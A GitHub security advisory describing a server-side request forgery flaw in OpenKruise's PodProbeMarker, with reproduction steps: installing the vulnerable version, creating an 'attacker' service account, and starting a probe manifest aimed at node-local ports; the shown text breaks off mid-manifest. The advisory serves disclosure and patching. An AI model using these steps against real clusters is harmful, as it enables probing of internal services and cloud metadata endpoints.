GitHub Security Advisory: GHSA-9fj4-3849-rv9g
Package: github.com/openkruise/kruise (GO)
Severity: LOW (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 1.8.0, < 1.8.3
Patched in: 1.8.3

Summary: OpenKruise PodProbeMarker is Vulnerable to SSRF via Unrestricted Host Field

Details:
## Summary

PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.

## Kubernetes Version

- Kubernetes: v1.30.0 (kind cluster)
- Distribution: kind

## Component Version

- OpenKruise: v1.8.0
- kruise-daemon: DaemonSet with hostNetwork=true
- Affected CRDs: PodProbeMarker, NodePodProbe

## Steps To Reproduce

### Environment Setup

1. Install OpenKruise v1.8.0 in kind cluster:
```bash
helm repo add openkruise https://openkruise.github.io/charts/
helm install kruise openkruise/kruise --version 1.8.0 \
  --namespace kruise-system --create-namespace
```

2. Verify kruise-daemon runs with hostNetwork:
```bash
kubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork
```
Output:
```
hostNetwork: true
```

3. Create test namespace and RBAC:
```bash
kubectl apply -f - <<EOF
apiVersion: v1
kind: Namespace
metadata:
  name: tenant-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: attacker
  namespace: tenant-a
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: ppm-creator
  namespace: tenant-a
rules:
- apiGroups: ["apps.kruise.io"]
  resources: ["podprobemarkers"]
  verbs: ["create","get","list","watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: ppm-creator-binding
  namespace: tenant-a
subjects:
- kind: ServiceAccount
  name: attacker
  namespace: tenant-a
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: ppm-creator
EOF
```

4. Deploy victim workload:
```bash
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: victim
  namespace: tenant-a
spec:
  replicas: 1
  selector:
    matchLabels:
      app: victim
  template:
    metadata:
      labels:
        app: victim
    spec:
      containers:
      - name: victim
        image: busybox:1.36
        command: ["/bin/sh","-c","sleep 36000"]
EOF
```

### Exploitation Steps

5. Verify node-local port accessibility (kubelet healthz):
```bash
NODE_CONTAINER=$(docker ps --format '{{.Names}}' | grep control-plane)
docker exec $NODE_CONTAINER curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:10248/healthz
```
Output:
```
200
```

6. Create SSRF PodProbeMarker targeting node-local port (as attacker):
```bash
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
  name: ppm-tcp-ssrf
  namespace: tenant-a
spec:
  selector:
    matchLabels:
      app: victim
  probes:
  - name: tcp-ssrf
    containerName: victim
    podConditionType: